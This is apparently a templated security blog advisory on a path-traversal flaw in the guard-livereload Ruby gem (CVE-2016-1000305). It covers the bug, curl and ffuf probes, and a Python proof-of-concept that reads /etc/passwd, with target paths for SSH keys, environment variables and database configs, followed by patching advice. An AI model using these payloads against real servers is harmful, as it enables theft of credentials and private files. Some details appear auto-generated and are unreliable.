Listen to this Post
How CVE-2016-1000305 Works
The guard-livereload gem is a popular Ruby tool that automatically reloads web browsers when watched files (views, assets, etc.) are modified. It integrates with Guard and launches a live‑reload server that listens for file‑change events and pushes reload signals to connected browser clients via WebSocket or long‑polling.
The vulnerability arises in the livereload server’s file‑serving component. When a browser requests a file (e.g., via a GET request to a path like /path/to/file), the server does not properly sanitise or canonicalise the requested path before using it to read files from the filesystem. Specifically, it fails to reject or neutralise path‑traversal sequences such as `../` and URL‑encoded variants (%2e%2e%2f).
Because the server runs with the privileges of the user who started the Guard process, an attacker who can send HTTP requests to the livereload port (by default, port 35729) can craft a request containing `../../../../etc/passwd` or any other sensitive file path. The server naively concatenates the requested path with a base directory (often the project root) and serves the file without checking whether the resolved path stays within the intended web root.
The core issue is improper input validation – the server does not verify that the final, absolute path is a sub‑path of the allowed base directory. This is a classic path‑traversal (or directory‑traversal) weakness, classified under CWE‑22. The attack does not require authentication, as the livereload server listens on all network interfaces by default in many configurations.
An attacker can exploit this to read arbitrary files that the running user has permissions to access – this includes application configuration files, source code, database credentials, system files like /etc/passwd, and even private SSH keys in some cases. The impact is information disclosure, which can lead to privilege escalation or further compromise of the host system.
The vulnerability affects all versions of guard-livereload prior to 2.5.2. It was discovered and reported through the Distributed Weakness Filing (DWF) project, which assigns CVE identifiers for security issues. The fix in version 2.5.2 introduces proper path canonicalisation and a check that ensures the requested file resides inside the allowed base directory before it is read and served.
DailyCVE Form:
Platform: Ruby gem
Version: <2.5.2
Vulnerability: Directory Traversal
Severity: Moderate (CVSS 5.3)
date: 2016-02-04
Prediction: Already patched 2.5.2
What Undercode Say (Analytics)
The following analytics and reconnaissance commands can be used to detect or verify the presence of this vulnerability in a running guard‑livereload instance:
Check if guard-livereload is running and listening on the default port (35729) ss -tlnp | grep 35729 Probe for directory traversal by requesting a known system file curl -v "http://<target-ip>:35729/../../../../etc/passwd" Encode traversal sequences to bypass simple filters curl -v "http://<target-ip>:35729/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd" Use a tool like ffuf to fuzz for traversal payloads ffuf -u "http://<target-ip>:35729/FUZZ" -w traversal-payloads.txt -fc 404 Check the installed gem version to see if it is vulnerable gem list guard-livereload or, if Bundler is used: bundle show guard-livereload Parse Gemfile.lock for the exact version grep -A 1 "guard-livereload" Gemfile.lock
Exploit
A working exploit for CVE‑2016‑1000305 is trivial to construct. The following Python snippet demonstrates a basic proof‑of‑concept that reads `/etc/passwd` from a vulnerable server:
import requests
target = "http://<target-ip>:35729"
payload = "/../../../../etc/passwd"
response = requests.get(target + payload)
if response.status_code == 200:
print(response.text)
else:
print("Exploit failed or file not accessible.")
To read arbitrary files, simply change the payload to the desired path, e.g.:
/../../../../home/user/.ssh/id_rsa /../../../../proc/self/environ /../../../../var/www/config/database.yml
The attack works because the server does not validate that the resolved path stays within the project root, and it does not strip or block `../` sequences.
Protection
- Immediate upgrade: Update to guard‑livereload version 2.5.2 or later, which contains the path‑validation fix.
- Network restriction: If upgrading is not immediately possible, bind the livereload server to `127.0.0.1` (localhost) instead of
0.0.0.0, and use a firewall to block external access to port 35729. - Input sanitisation: If you maintain a fork or a custom middleware, implement proper path canonicalisation using `File.expand_path` and verify that the resulting path starts with the allowed base directory.
- Web application firewall (WAF) : Deploy a WAF rule that blocks requests containing
../,%2e%2e%2f, or other encoded traversal patterns. - Least privilege: Run Guard processes with a non‑root user that has minimal filesystem permissions to limit the impact of a successful traversal.
Impact
- Confidentiality breach: An unauthenticated remote attacker can read any file on the server that the Guard process has read access to. This includes source code, configuration files (e.g.,
database.yml,secrets.yml), system credentials, and sensitive user data. - Privilege escalation: Exposed credentials or private keys can be used to gain further access to the system or other internal services.
- Compliance violation: Disclosure of personally identifiable information (PII) or protected health information (PHI) may lead to regulatory fines and reputational damage.
- Supply chain risk: Projects that depend on vulnerable versions of guard‑livereload inherit this risk, potentially affecting development, staging, and production environments where the tool is used.
- Ease of exploitation: The vulnerability requires no special skills or complex tools – a simple HTTP GET request is sufficient, making it a high‑priority target for automated scanners and opportunistic attackers.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
